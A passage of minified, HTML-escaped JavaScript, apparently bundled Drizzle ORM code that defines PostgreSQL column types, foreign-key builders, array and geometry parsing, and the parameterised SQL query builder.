0;config;mapFromDriverValue(t){return t}mapToDriverValue(t){return t}shouldDisableInsert(){return this.config.generated!==void 0&amp;&amp;this.config.generated.type!==&quot;byDefault&quot;}}class QQe{static[Vt]=&quot;ColumnBuilder&quot;;config;constructor(t,r,n){this.config={name:t,keyAsName:t===&quot;&quot;,notNull:!1,default:void 0,hasDefault:!1,primaryKey:!1,isUnique:!1,uniqueName:void 0,uniqueType:void 0,dataType:r,columnType:n,generated:void 0}}$type(){return this}notNull(){return this.config.notNull=!0,this}default(t){return this.config.default=t,this.config.hasDefault=!0,this}$defaultFn(t){return this.config.defaultFn=t,this.config.hasDefault=!0,this}$default=this.$defaultFn;$onUpdateFn(t){return this.config.onUpdateFn=t,this.config.hasDefault=!0,this}$onUpdate=this.$onUpdateFn;primaryKey(){return this.config.primaryKey=!0,this.config.notNull=!0,this}setName(t){this.config.name===&quot;&quot;&amp;&amp;(this.config.name=t)}}const s1=Symbol.for(&quot;drizzle:Name&quot;);class FQe{static[Vt]=&quot;PgForeignKeyBuilder&quot;;reference;_onUpdate=&quot;no action&quot;;_onDelete=&quot;no action&quot;;constructor(t,r){this.reference=()=&gt;{const{name:n,columns:i,foreignColumns:s}=t();return{name:n,columns:i,foreignTable:s[0].table,foreignColumns:s}},r&amp;&amp;(this._onUpdate=r.onUpdate,this._onDelete=r.onDelete)}onUpdate(t){return this._onUpdate=t===void 0?&quot;no action&quot;:t,this}onDelete(t){return this._onDelete=t===void 0?&quot;no action&quot;:t,this}build(t){return new OQe(t,this)}}class OQe{constructor(t,r){this.table=t,this.reference=r.reference,this.onUpdate=r._onUpdate,this.onDelete=r._onDelete}static[Vt]=&quot;PgForeignKey&quot;;reference;onUpdate;onDelete;getName(){const{name:t,columns:r,foreignColumns:n}=this.reference(),i=r.map(l=&gt;l.name),s=n.map(l=&gt;l.name),o=[this.table[s1],...i,n[0].table[s1],...s];return t??`${o.join(&quot;_&quot;)}_fk`}}function LQe(e,...t){return e(...t)}function MQe(e,t){return`${e[s1]}_${t.join(&quot;_&quot;)}_unique`}function SF(e,t,r){for(let n=t;n&lt;e.length;n++){const i=e[n];if(i===&quot;\\&quot;){n++;continue}if(i===&#039;&quot;&#039;)return[e.slice(t,n).replace(/\\/g,&quot;&quot;),n+1];if(!r&amp;&amp;(i===&quot;,&quot;||i===&quot;}&quot;))return[e.slice(t,n).replace(/\\/g,&quot;&quot;),n]}return[e.slice(t).replace(/\\/g,&quot;&quot;),e.length]}function iZ(e,t=0){const r=[];let n=t,i=!1;for(;n&lt;e.length;){const s=e[n];if(s===&quot;,&quot;){(i||n===t)&amp;&amp;r.push(&quot;&quot;),i=!0,n++;continue}if(i=!1,s===&quot;\\&quot;){n+=2;continue}if(s===&#039;&quot;&#039;){const[c,d]=SF(e,n+1,!0);r.push(c),n=d;continue}if(s===&quot;}&quot;)return[r,n+1];if(s===&quot;{&quot;){const[c,d]=iZ(e,n+1);r.push(c),n=d;continue}const[o,l]=SF(e,n,!1);r.push(o),n=l}return[r,n]}function UQe(e){const[t]=iZ(e,1);return t}function aZ(e){return`{${e.map(t=&gt;Array.isArray(t)?aZ(t):typeof t==&quot;string&quot;?`&quot;${t.replace(/\\/g,&quot;\\\\&quot;).replace(/&quot;/g,&#039;\\&quot;&#039;)}&quot;`:`${t}`).join(&quot;,&quot;)}}`}class Ai extends QQe{foreignKeyConfigs=[];static[Vt]=&quot;PgColumnBuilder&quot;;array(t){return new $Qe(this.config.name,this,t)}references(t,r={}){return this.foreignKeyConfigs.push({ref:t,actions:r}),this}unique(t,r){return this.config.isUnique=!0,this.config.uniqueName=t,this.config.uniqueType=r?.nulls,this}generatedAlwaysAs(t){return this.config.generated={as:t,type:&quot;always&quot;,mode:&quot;stored&quot;},this}buildForeignKeys(t,r){return this.foreignKeyConfigs.map(({ref:n,actions:i})=&gt;LQe((s,o)=&gt;{const l=new FQe(()=&gt;{const c=s();return{columns:[t],foreignColumns:[c]}});return o.onUpdate&amp;&amp;l.onUpdate(o.onUpdate),o.onDelete&amp;&amp;l.onDelete(o.onDelete),l.build(r)},n,i))}buildExtraConfigColumn(t){return new zQe(t,this.config)}}class Tn extends Lv{constructor(t,r){r.uniqueName||(r.uniqueName=MQe(t,[r.name])),super(t,r),this.table=t}static[Vt]=&quot;PgColumn&quot;}class zQe extends Tn{static[Vt]=&quot;ExtraConfigColumn&quot;;getSQLType(){return this.getSQLType()}indexConfig={order:this.config.order??&quot;asc&quot;,nulls:this.config.nulls??&quot;last&quot;,opClass:this.config.opClass};defaultConfig={order:&quot;asc&quot;,nulls:&quot;last&quot;,opClass:void 0};asc(){return this.indexConfig.order=&quot;asc&quot;,this}desc(){return this.indexConfig.order=&quot;desc&quot;,this}nullsFirst(){return this.indexConfig.nulls=&quot;first&quot;,this}nullsLast(){return this.indexConfig.nulls=&quot;last&quot;,this}op(t){return this.indexConfig.opClass=t,this}}class $Qe extends Ai{static[Vt]=&quot;PgArrayBuilder&quot;;constructor(t,r,n){super(t,&quot;array&quot;,&quot;PgArray&quot;),this.config.baseBuilder=r,this.config.size=n}build(t){const r=this.config.baseBuilder.build(t);return new O8(t,this.config,r)}}class O8 extends Tn{constructor(t,r,n,i){super(t,r),this.baseColumn=n,this.range=i,this.size=r.size}size;static[Vt]=&quot;PgArray&quot;;getSQLType(){return`${this.baseColumn.getSQLType()}[${typeof this.size==&quot;number&quot;?this.size:&quot;&quot;}]`}mapFromDriverValue(t){return typeof t==&quot;string&quot;&amp;&amp;(t=UQe(t)),t.map(r=&gt;this.baseColumn.mapFromDriverValue(r))}mapToDriverValue(t,r=!1){const n=t.map(i=&gt;i===null?null:ko(this.baseColumn,O8)?this.baseColumn.mapToDriverValue(i,!0):this.baseColumn.mapToDriverValue(i));return r?n:aZ(n)}}const BF=Symbol.for(&quot;drizzle:isPgEnum&quot;);function HQe(e){return!!e&amp;&amp;typeof e==&quot;function&quot;&amp;&amp;BF in e&amp;&amp;e[BF]===!0}class sZ{static[Vt]=&quot;Subquery&quot;;constructor(t,r,n,i=!1,s=[]){this._={brand:&quot;Subquery&quot;,sql:t,selectedFields:r,alias:n,isWith:i,usedTables:s}}}const qQe={startActiveSpan(e,t){return t()}},o1=Symbol.for(&quot;drizzle:ViewBaseConfig&quot;),k3=Symbol.for(&quot;drizzle:Schema&quot;),kF=Symbol.for(&quot;drizzle:Columns&quot;),_F=Symbol.for(&quot;drizzle:ExtraConfigColumns&quot;),_3=Symbol.for(&quot;drizzle:OriginalName&quot;),D3=Symbol.for(&quot;drizzle:BaseName&quot;),Yw=Symbol.for(&quot;drizzle:IsAlias&quot;),DF=Symbol.for(&quot;drizzle:ExtraConfigBuilder&quot;),oZ=Symbol.for(&quot;drizzle:IsDrizzleTable&quot;);class _o{static[Vt]=&quot;Table&quot;;static Symbol={Name:s1,Schema:k3,OriginalName:_3,Columns:kF,ExtraConfigColumns:_F,BaseName:D3,IsAlias:Yw,ExtraConfigBuilder:DF};[s1];[_3];[k3];[kF];[_F];[D3];[Yw]=!1;[oZ]=!0;[DF]=void 0;constructor(t,r,n){this[s1]=this[_3]=t,this[k3]=r,this[D3]=n}}function lZ(e){return typeof e==&quot;object&quot;&amp;&amp;e!==null&amp;&amp;oZ in e}function GQe(e){return e!=null&amp;&amp;typeof e.getSQL==&quot;function&quot;}function VQe(e){const t={sql:&quot;&quot;,params:[]};for(const r of e)t.sql+=r.sql,t.params.push(...r.params),r.typings?.length&amp;&amp;(t.typings||(t.typings=[]),t.typings.push(...r.typings));return t}class D0{static[Vt]=&quot;StringChunk&quot;;value;constructor(t){this.value=Array.isArray(t)?t:[t]}getSQL(){return new js([this])}}class js{constructor(t){this.queryChunks=t;for(const r of t)if(ko(r,_o)){const n=r[_o.Symbol.Schema];this.usedTables.push(n===void 0?r[_o.Symbol.Name]:n+&quot;.&quot;+r[_o.Symbol.Name])}}static[Vt]=&quot;SQL&quot;;decoder=cZ;shouldInlineParams=!1;usedTables=[];append(t){return this.queryChunks.push(...t.queryChunks),this}toQuery(t){return qQe.startActiveSpan(&quot;drizzle.buildSQL&quot;,r=&gt;{const n=this.buildQueryFromSourceParams(this.queryChunks,t);return r?.setAttributes({&quot;drizzle.query.text&quot;:n.sql,&quot;drizzle.query.params&quot;:JSON.stringify(n.params)}),n})}buildQueryFromSourceParams(t,r){const n=Object.assign({},r,{inlineParams:r.inlineParams||this.shouldInlineParams,paramStartIndex:r.paramStartIndex||{value:0}}),{casing:i,escapeName:s,escapeParam:o,prepareTyping:l,inlineParams:c,paramStartIndex:d}=n;return VQe(t.map(u=&gt;{if(ko(u,D0))return{sql:u.value.join(&quot;&quot;),params:[]};if(ko(u,u6))return{sql:s(u.value),params:[]};if(u===void 0)return{sql:&quot;&quot;,params:[]};if(Array.isArray(u)){const h=[new D0(&quot;(&quot;)];for(const[p,A]of u.entries())h.push(A),p&lt;u.length-1&amp;&amp;h.push(new D0(&quot;, &quot;));return h.push(new D0(&quot;)&quot;)),this.buildQueryFromSourceParams(h,n)}if(ko(u,js))return this.buildQueryFromSourceParams(u.queryChunks,{...n,inlineParams:c||u.shouldInlineParams});if(ko(u,_o)){const h=u[_o.Symbol.Schema],p=u[_o.Symbol.Name];return{sql:h===void 0||u[Yw]?s(p):s(h)+&quot;.&quot;+s(p),params:[]}}if(ko(u,Lv)){const h=i.getColumnCasing(u);if(r.invokeSource===&quot;indexes&quot;)return{sql:s(h),params:[]};const p=u.table[_o.Symbol.Schema];return{sql:u.table[Yw]||p===void 0?s(u.table[_o.Symbol.Name])+&quot;.&quot;+s(h):s(p)+&quot;.&quot;+s(u.table[_o.Symbol.Name])+&quot;.&quot;+s(h),params:[]}}if(ko(u,WQe)){const h=u[o1].schema,p=u[o1].name;return{sql:h===void 0||u[o1].isAlias?s(p):s(h)+&quot;.&quot;+s(p),params:[]}}if(ko(u,dZ)){if(ko(u.value,d6))return{sql:o(d.value++,u),params:[u],typings:[&quot;none&quot;]};const h=u.value===null?null:u.encoder.mapToDriverValue(u.value);if(ko(h,js))return this.buildQueryFromSourceParams([h],n);if(c)return{sql:this.mapInlineParam(h,n),params:[]};let p=[&quot;none&quot;];return l&amp;&amp;(p=[l(u.encoder)]),{sql:o(d.value++,h),params:[h],typings:p}}return ko(u,d6)?{sql:o(d.value++,u),params:[u],typings:[&quot;none&quot;]}:ko(u,js.Aliased)&amp;&amp;u.fieldAlias!==void 0?{sql:s(u.fieldAlias),params:[]}:ko(u,sZ)?u._.isWith?{sql:s(u._.alias),params:[]}:this.buildQueryFromSourceParams([new D0(&quot;(&quot;),u._.sql,new D0(&quot;) &quot;),new u6(u._.alias)],n):HQe(u)?u.schema?{sql:s(u.schema)+&quot;.&quot;+s(u.enumName),params:[]}:{sql:s(u.enumName),params:[]}:GQe(u)?u.shouldOmitSQLParens?.()?this.buildQueryFromSourceParams([u.getSQL()],n):this.buildQueryFromSourceParams([new D0(&quot;(&quot;),u.getSQL(),new D0(&quot;)&quot;)],n):c?{sql:this.mapInlineParam(u,n),params:[]}:{sql:o(d.value++,u),params:[u],typings:[&quot;none&quot;]}}))}mapInlineParam(t,{escapeString:r}){if(t===null)return&quot;null&quot;;if(typeof t==&quot;number&quot;||typeof t==&quot;boolean&quot;)return t.toString();if(typeof t==&quot;string&quot;)return r(t);if(typeof t==&quot;object&quot;){const n=t.toString();return r(n===&quot;[object Object]&quot;?JSON.stringify(t):n)}throw new Error(&quot;Unexpected param value: &quot;+t)}getSQL(){return this}as(t){return t===void 0?this:new js.Aliased(this,t)}mapWith(t){return this.decoder=typeof t==&quot;function&quot;?{mapFromDriverValue:t}:t,this}inlineParams(){return this.shouldInlineParams=!0,this}if(t){return t?this:void 0}}class u6{constructor(t){this.value=t}static[Vt]=&quot;Name&quot;;brand;getSQL(){return new js([this])}}const cZ={mapFromDriverValue:e=&gt;e},uZ={mapToDriverValue:e=&gt;e};({...cZ,...uZ});class dZ{constructor(t,r=uZ){this.value=t,this.encoder=r}static[Vt]=&quot;Param&quot;;brand;getSQL(){return new js([this])}}function Mv(e,...t){const r=[];(t.length&gt;0||e.length&gt;0&amp;&amp;e[0]!==&quot;&quot;)&amp;&amp;r.push(new D0(e[0]));for(const[n,i]of t.entries())r.push(i,new D0(e[n+1]));return new js(r)}(e=&gt;{function t(){return new js([])}e.empty=t;function r(c){return new js(c)}e.fromList=r;function n(c){return new js([new D0(c)])}e.raw=n;function i(c,d){const u=[];for(const[h,p]of c.entries())h&gt;0&amp;&amp;d!==void 0&amp;&amp;u.push(d),u.push(p);return new js(u)}e.join=i;function s(c){return new u6(c)}e.identifier=s;function o(c){return new d6(c)}e.placeholder=o;function l(c,d){return new dZ(c,d)}e.param=l})(Mv||(Mv={}));(e=&gt;{class t{constructor(n,i){this.sql=n,this.fieldAlias=i}static[Vt]=&quot;SQL.Aliased&quot;;isSelectionField=!1;getSQL(){return this.sql}clone(){return new t(this.sql,this.fieldAlias)}}e.Aliased=t})(js||(js={}));class d6{constructor(t){this.name=t}static[Vt]=&quot;Placeholder&quot;;getSQL(){return new js([this])}}const fZ=Symbol.for(&quot;drizzle:IsDrizzleView&quot;);class WQe{static[Vt]=&quot;View&quot;;[o1];[fZ]=!0;constructor({name:t,schema:r,selectedFields:n,query:i}){this[o1]={name:t,originalName:t,schema:r,selectedFields:n,query:i,isExisting:!i,isAlias:!1}}getSQL(){return new js([this])}}function KQe(e){return typeof e==&quot;object&quot;&amp;&amp;e!==null&amp;&amp;fZ in e}Lv.prototype.getSQL=function(){return new js([this])};_o.prototype.getSQL=function(){return new js([this])};sZ.prototype.getSQL=function(){return new js([this])};function YQe(e){return e[_o.Symbol.Columns]}function ZQe(e){return e[o1].selectedFields}function Mo(e,t){return{name:typeof e==&quot;string&quot;&amp;&amp;e.length&gt;0?e:&quot;&quot;,config:typeof e==&quot;object&quot;?e:t}}typeof TextDecoder&gt;&quot;u&quot;||new TextDecoder;class zE extends Ai{static[Vt]=&quot;PgIntColumnBaseBuilder&quot;;generatedAlwaysAsIdentity(t){if(t){const{name:r,...n}=t;this.config.generatedIdentity={type:&quot;always&quot;,sequenceName:r,sequenceOptions:n}}else this.config.generatedIdentity={type:&quot;always&quot;};return this.config.hasDefault=!0,this.config.notNull=!0,this}generatedByDefaultAsIdentity(t){if(t){const{name:r,...n}=t;this.config.generatedIdentity={type:&quot;byDefault&quot;,sequenceName:r,sequenceOptions:n}}else this.config.generatedIdentity={type:&quot;byDefault&quot;};return this.config.hasDefault=!0,this.config.notNull=!0,this}}class JQe extends zE{static[Vt]=&quot;PgBigInt53Builder&quot;;constructor(t){super(t,&quot;number&quot;,&quot;PgBigInt53&quot;)}build(t){return new XQe(t,this.config)}}class XQe extends Tn{static[Vt]=&quot;PgBigInt53&quot;;getSQLType(){return&quot;bigint&quot;}mapFromDriverValue(t){return typeof t==&quot;number&quot;?t:Number(t)}}class eFe extends zE{static[Vt]=&quot;PgBigInt64Builder&quot;;constructor(t){super(t,&quot;bigint&quot;,&quot;PgBigInt64&quot;)}build(t){return new tFe(t,this.config)}}class tFe extends Tn{static[Vt]=&quot;PgBigInt64&quot;;getSQLType(){return&quot;bigint&quot;}mapFromDriverValue(t){return BigInt(t)}}function rFe(e,t){const{name:r,config:n}=Mo(e,t);return n.mode===&quot;number&quot;?new JQe(r):new eFe(r)}class nFe extends Ai{static[Vt]=&quot;PgBigSerial53Builder&quot;;constructor(t){super(t,&quot;number&quot;,&quot;PgBigSerial53&quot;),this.config.hasDefault=!0,this.config.notNull=!0}build(t){return new iFe(t,this.config)}}class iFe extends Tn{static[Vt]=&quot;PgBigSerial53&quot;;getSQLType(){return&quot;bigserial&quot;}mapFromDriverValue(t){return typeof t==&quot;number&quot;?t:Number(t)}}class aFe extends Ai{static[Vt]=&quot;PgBigSerial64Builder&quot;;constructor(t){super(t,&quot;bigint&quot;,&quot;PgBigSerial64&quot;),this.config.hasDefault=!0}build(t){return new sFe(t,this.config)}}class sFe extends Tn{static[Vt]=&quot;PgBigSerial64&quot;;getSQLType(){return&quot;bigserial&quot;}mapFromDriverValue(t){return BigInt(t)}}function oFe(e,t){const{name:r,config:n}=Mo(e,t);return n.mode===&quot;number&quot;?new nFe(r):new aFe(r)}class lFe extends Ai{static[Vt]=&quot;PgBooleanBuilder&quot;;constructor(t){super(t,&quot;boolean&quot;,&quot;PgBoolean&quot;)}build(t){return new cFe(t,this.config)}}class cFe extends Tn{static[Vt]=&quot;PgBoolean&quot;;getSQLType(){return&quot;boolean&quot;}}function Ju(e){return new lFe(e??&quot;&quot;)}class uFe extends Ai{static[Vt]=&quot;PgCharBuilder&quot;;constructor(t,r){super(t,&quot;string&quot;,&quot;PgChar&quot;),this.config.length=r.length,this.config.enumValues=r.enum}build(t){return new dFe(t,this.config)}}class dFe extends Tn{static[Vt]=&quot;PgChar&quot;;length=this.config.length;enumValues=this.config.enumValues;getSQLType(){return this.length===void 0?&quot;char&quot;:`char(${this.length})`}}function fFe(e,t={}){const{name:r,config:n}=Mo(e,t);return new uFe(r,n)}class hFe extends Ai{static[Vt]=&quot;PgCidrBuilder&quot;;constructor(t){super(t,&quot;string&quot;,&quot;PgCidr&quot;)}build(t){return new mFe(t,this.config)}}class mFe extends Tn{static[Vt]=&quot;PgCidr&quot;;getSQLType(){return&quot;cidr&quot;}}function pFe(e){return new hFe(e??&quot;&quot;)}class gFe extends Ai{static[Vt]=&quot;PgCustomColumnBuilder&quot;;constructor(t,r,n){super(t,&quot;custom&quot;,&quot;PgCustomColumn&quot;),this.config.fieldConfig=r,this.config.customTypeParams=n}build(t){return new AFe(t,this.config)}}class AFe extends Tn{static[Vt]=&quot;PgCustomColumn&quot;;sqlName;mapTo;mapFrom;constructor(t,r){super(t,r),this.sqlName=r.customTypeParams.dataType(r.fieldConfig),this.mapTo=r.customTypeParams.toDriver,this.mapFrom=r.customTypeParams.fromDriver}getSQLType(){return this.sqlName}mapFromDriverValue(t){return typeof this.mapFrom==&quot;function&quot;?this.mapFrom(t):t}mapToDriverValue(t){return typeof this.mapTo==&quot;function&quot;?this.mapTo(t):t}}function xFe(e){return(t,r)=&gt;{const{name:n,config:i}=Mo(t,r);return new gFe(n,i,e)}}class $y extends Ai{static[Vt]=&quot;PgDateColumnBaseBuilder&quot;;defaultNow(){return this.default(Mv`now()`)}}class vFe extends $y{static[Vt]=&quot;PgDateBuilder&quot;;constructor(t){super(t,&quot;date&quot;,&quot;PgDate&quot;)}build(t){return new yFe(t,this.config)}}class yFe extends Tn{static[Vt]=&quot;PgDate&quot;;getSQLType(){return&quot;date&quot;}mapFromDriverValue(t){return typeof t==&quot;string&quot;?new Date(t):t}mapToDriverValue(t){return t.toISOString()}}class bFe extends $y{static[Vt]=&quot;PgDateStringBuilder&quot;;constructor(t){super(t,&quot;string&quot;,&quot;PgDateString&quot;)}build(t){return new wFe(t,this.config)}}class wFe extends Tn{static[Vt]=&quot;PgDateString&quot;;getSQLType(){return&quot;date&quot;}mapFromDriverValue(t){return typeof t==&quot;string&quot;?t:t.toISOString().slice(0,-14)}}function Ng(e,t){const{name:r,config:n}=Mo(e,t);return n?.mode===&quot;date&quot;?new vFe(r):new bFe(r)}class EFe extends Ai{static[Vt]=&quot;PgDoublePrecisionBuilder&quot;;constructor(t){super(t,&quot;number&quot;,&quot;PgDoublePrecision&quot;)}build(t){return new CFe(t,this.config)}}class CFe extends Tn{static[Vt]=&quot;PgDoublePrecision&quot;;getSQLType(){return&quot;double precision&quot;}mapFromDriverValue(t){return typeof t==&quot;string&quot;?Number.parseFloat(t):t}}function IFe(e){return new EFe(e??&quot;&quot;)}class jFe extends Ai{static[Vt]=&quot;PgInetBuilder&quot;;constructor(t){super(t,&quot;string&quot;,&quot;PgInet&quot;)}build(t){return new NFe(t,this.config)}}class NFe extends Tn{static[Vt]=&quot;PgInet&quot;;getSQLType(){return&quot;inet&quot;}}function SFe(e){return new jFe(e??&quot;&quot;)}class BFe extends zE{static[Vt]=&quot;PgIntegerBuilder&quot;;constructor(t){super(t,&quot;number&quot;,&quot;PgInteger&quot;)}build(t){return new kFe(t,this.config)}}class kFe extends Tn{static[Vt]=&quot;PgInteger&quot;;getSQLType(){return&quot;integer&quot;}mapFromDriverValue(t){return typeof t==&quot;string&quot;?Number.parseInt(t):t}}function Nr(e){return new BFe(e??&quot;&quot;)}class _Fe extends Ai{static[Vt]=&quot;PgIntervalBuilder&quot;;constructor(t,r){super(t,&quot;string&quot;,&quot;PgInterval&quot;),this.config.intervalConfig=r}build(t){return new DFe(t,this.config)}}class DFe extends Tn{static[Vt]=&quot;PgInterval&quot;;fields=this.config.intervalConfig.fields;precision=this.config.intervalConfig.precision;getSQLType(){const t=this.fields?` ${this.fields}`:&quot;&quot;,r=this.precision?`(${this.precision})`:&quot;&quot;;return`interval${t}${r}`}}function TFe(e,t={}){const{name:r,config:n}=Mo(e,t);return new _Fe(r,n)}class RFe extends Ai{static[Vt]=&quot;PgJsonBuilder&quot;;constructor(t){super(t,&quot;json&quot;,&quot;PgJson&quot;)}build(t){return new PFe(t,this.config)}}class PFe extends Tn{static[Vt]=&quot;PgJson&quot;;constructor(t,r){super(t,r)}getSQLType(){return&quot;json&quot;}mapToDriverValue(t){return JSON.stringify(t)}mapFromDriverValue(t){if(typeof t==&quot;string&quot;)try{return JSON.parse(t)}catch{return t}return t}}function QFe(e){return new RFe(e??&quot;&quot;)}class FFe extends Ai{static[Vt]=&quot;PgJsonbBuilder&quot;;constructor(t){super(t,&quot;json&quot;,&quot;PgJsonb&quot;)}build(t){return new OFe(t,this.config)}}class OFe extends Tn{static[Vt]=&quot;PgJsonb&quot;;constructor(t,r){super(t,r)}getSQLType(){return&quot;jsonb&quot;}mapToDriverValue(t){return JSON.stringify(t)}mapFromDriverValue(t){if(typeof t==&quot;string&quot;)try{return JSON.parse(t)}catch{return t}return t}}function Lm(e){return new FFe(e??&quot;&quot;)}class LFe extends Ai{static[Vt]=&quot;PgLineBuilder&quot;;constructor(t){super(t,&quot;array&quot;,&quot;PgLine&quot;)}build(t){return new MFe(t,this.config)}}class MFe extends Tn{static[Vt]=&quot;PgLine&quot;;getSQLType(){return&quot;line&quot;}mapFromDriverValue(t){const[r,n,i]=t.slice(1,-1).split(&quot;,&quot;);return[Number.parseFloat(r),Number.parseFloat(n),Number.parseFloat(i)]}mapToDriverValue(t){return`{${t[0]},${t[1]},${t[2]}}`}}class UFe extends Ai{static[Vt]=&quot;PgLineABCBuilder&quot;;constructor(t){super(t,&quot;json&quot;,&quot;PgLineABC&quot;)}build(t){return new zFe(t,this.config)}}class zFe extends Tn{static[Vt]=&quot;PgLineABC&quot;;getSQLType(){return&quot;line&quot;}mapFromDriverValue(t){const[r,n,i]=t.slice(1,-1).split(&quot;,&quot;);return{a:Number.parseFloat(r),b:Number.parseFloat(n),c:Number.parseFloat(i)}}mapToDriverValue(t){return`{${t.a},${t.b},${t.c}}`}}function $Fe(e,t){const{name:r,config:n}=Mo(e,t);return!n?.mode||n.mode===&quot;tuple&quot;?new LFe(r):new UFe(r)}class HFe extends Ai{static[Vt]=&quot;PgMacaddrBuilder&quot;;constructor(t){super(t,&quot;string&quot;,&quot;PgMacaddr&quot;)}build(t){return new qFe(t,this.config)}}class qFe extends Tn{static[Vt]=&quot;PgMacaddr&quot;;getSQLType(){return&quot;macaddr&quot;}}function GFe(e){return new HFe(e??&quot;&quot;)}class VFe extends Ai{static[Vt]=&quot;PgMacaddr8Builder&quot;;constructor(t){super(t,&quot;string&quot;,&quot;PgMacaddr8&quot;)}build(t){return new WFe(t,this.config)}}class WFe extends Tn{static[Vt]=&quot;PgMacaddr8&quot;;getSQLType(){return&quot;macaddr8&quot;}}function KFe(e){return new VFe(e??&quot;&quot;)}class YFe extends Ai{static[Vt]=&quot;PgNumericBuilder&quot;;constructor(t,r,n){super(t,&quot;string&quot;,&quot;PgNumeric&quot;),this.config.precision=r,this.config.scale=n}build(t){return new ZFe(t,this.config)}}class ZFe extends Tn{static[Vt]=&quot;PgNumeric&quot;;precision;scale;constructor(t,r){super(t,r),this.precision=r.precision,this.scale=r.scale}mapFromDriverValue(t){return typeof t==&quot;string&quot;?t:String(t)}getSQLType(){return this.precision!==void 0&amp;&amp;this.scale!==void 0?`numeric(${this.precision}, ${this.scale})`:this.precision===void 0?&quot;numeric&quot;:`numeric(${this.precision})`}}class JFe extends Ai{static[Vt]=&quot;PgNumericNumberBuilder&quot;;constructor(t,r,n){super(t,&quot;number&quot;,&quot;PgNumericNumber&quot;),this.config.precision=r,this.config.scale=n}build(t){return new XFe(t,this.config)}}class XFe extends Tn{static[Vt]=&quot;PgNumericNumber&quot;;precision;scale;constructor(t,r){super(t,r),this.precision=r.precision,this.scale=r.scale}mapFromDriverValue(t){return typeof t==&quot;number&quot;?t:Number(t)}mapToDriverValue=String;getSQLType(){return this.precision!==void 0&amp;&amp;this.scale!==void 0?`numeric(${this.precision}, ${this.scale})`:this.precision===void 0?&quot;numeric&quot;:`numeric(${this.precision})`}}class eOe extends Ai{static[Vt]=&quot;PgNumericBigIntBuilder&quot;;constructor(t,r,n){super(t,&quot;bigint&quot;,&quot;PgNumericBigInt&quot;),this.config.precision=r,this.config.scale=n}build(t){return new tOe(t,this.config)}}class tOe extends Tn{static[Vt]=&quot;PgNumericBigInt&quot;;precision;scale;constructor(t,r){super(t,r),this.precision=r.precision,this.scale=r.scale}mapFromDriverValue=BigInt;mapToDriverValue=String;getSQLType(){return this.precision!==void 0&amp;&amp;this.scale!==void 0?`numeric(${this.precision}, ${this.scale})`:this.precision===void 0?&quot;numeric&quot;:`numeric(${this.precision})`}}function rOe(e,t){const{name:r,config:n}=Mo(e,t),i=n?.mode;return i===&quot;number&quot;?new JFe(r,n?.precision,n?.scale):i===&quot;bigint&quot;?new eOe(r,n?.precision,n?.scale):new YFe(r,n?.precision,n?.scale)}class nOe extends Ai{static[Vt]=&quot;PgPointTupleBuilder&quot;;constructor(t){super(t,&quot;array&quot;,&quot;PgPointTuple&quot;)}build(t){return new iOe(t,this.config)}}class iOe extends Tn{static[Vt]=&quot;PgPointTuple&quot;;getSQLType(){return&quot;point&quot;}mapFromDriverValue(t){if(typeof t==&quot;string&quot;){const[r,n]=t.slice(1,-1).split(&quot;,&quot;);return[Number.parseFloat(r),Number.parseFloat(n)]}return[t.x,t.y]}mapToDriverValue(t){return`(${t[0]},${t[1]})`}}class aOe extends Ai{static[Vt]=&quot;PgPointObjectBuilder&quot;;constructor(t){super(t,&quot;json&quot;,&quot;PgPointObject&quot;)}build(t){return new sOe(t,this.config)}}class sOe extends Tn{static[Vt]=&quot;PgPointObject&quot;;getSQLType(){return&quot;point&quot;}mapFromDriverValue(t){if(typeof t==&quot;string&quot;){const[r,n]=t.slice(1,-1).split(&quot;,&quot;);return{x:Number.parseFloat(r),y:Number.parseFloat(n)}}return t}mapToDriverValue(t){return`(${t.x},${t.y})`}}function oOe(e,t){const{name:r,config:n}=Mo(e,t);return!n?.mode||n.mode===&quot;tuple&quot;?new nOe(r):new aOe(r)}function lOe(e){const t=[];for(let r=0;r&lt;e.length;r+=2)t.push(Number.parseInt(e.slice(r,r+2),16));return new Uint8Array(t)}function TF(e,t){const r=new ArrayBuffer(8),n=new DataView(r);for(let i=0;i&lt;8;i++)n.setUint8(i,e[t+i]);return n.getFloat64(0,!0)}function hZ(e){const t=lOe(e);let r=0;const n=t[r];r+=1;const i=new DataView(t.buffer),s=i.getUint32(r,n===1);if(r+=4,s&amp;536870912&amp;&amp;(i.getUint32(r,n===1),r+=4),(s&amp;65535)===1){const o=TF(t,r);r+=8;const l=TF(t,r);return r+=8,[o,l]}throw new Error(&quot;Unsupported geometry type&quot;)}class cOe extends Ai{static[Vt]=&quot;PgGeometryBuilder&quot;;constructor(t){super(t,&quot;array&quot;,&quot;PgGeometry&quot;)}build(t){return new uOe(t,this.config)}}class uOe extends Tn{static[Vt]=&quot;PgGeometry&quot;;getSQLType(){return&quot;geometry(point)&quot;}mapFromDriverValue(t){return hZ(t)}mapToDriverValue(t){return`point(${t[0]} ${t[1]})`}}class dOe extends Ai{static[Vt]=&quot;PgGeometryObjectBuilder&quot;;constructor(t){super(t,&quot;json&quot;,&quot;PgGeometryObject&quot;)}build(t){return new fOe(t,this.config)}}class fOe extends Tn{static[Vt]=&quot;PgGeometryObject&quot;;getSQLType(){return&quot;geometry(point)&quot;}mapFromDriverValue(t){const r=hZ(t);return{x:r[0],y:r[1]}}mapToDriverValue(t){return`point(${t.x} ${t.y})`}}function hOe(e,t){const{name:r,config:n}=Mo(e,t);return!n?.mode||n.mode===&quot;tuple&quot;?new cOe(r):new dOe(r)}class mOe extends Ai{static[Vt]=&quot;PgRealBuilder&quot;;constructor(t,r){super(t,&quot;number&quot;,&quot;PgReal&quot;),this.config.length=r}build(t){return new pOe(t,this.config)}}class pOe extends Tn{static[Vt]=&quot;PgReal&quot;;constructor(t,r){super(t,r)}getSQLType(){return&quot;real&quot;}mapFromDriverValue=t=&gt;typeof t==&quot;string&quot;?Number.parseFloat(t):t}function fa(e){return new mOe(e??&quot;&quot;)}class gOe extends Ai{static[Vt]=&quot;PgSerialBuilder&quot;;constructor(t){super(t,&quot;number&quot;,&quot;PgSerial&quot;),this.config.hasDefault=!0,this.config.notNull=!0}build(t){return new AOe(t,this.config)}}class AOe extends Tn{static[Vt]=&quot;PgSerial&quot;;getSQLType(){return&quot;serial&quot;}}function xOe(e){return new gOe(e??&quot;&quot;)}class vOe extends zE{static[Vt]=&quot;PgSmallIntBuilder&quot;;constructor(t){super(t,&quot;number&quot;,&quot;PgSmallInt&quot;)}build(t){return new yOe(t,this.config)}}class yOe extends 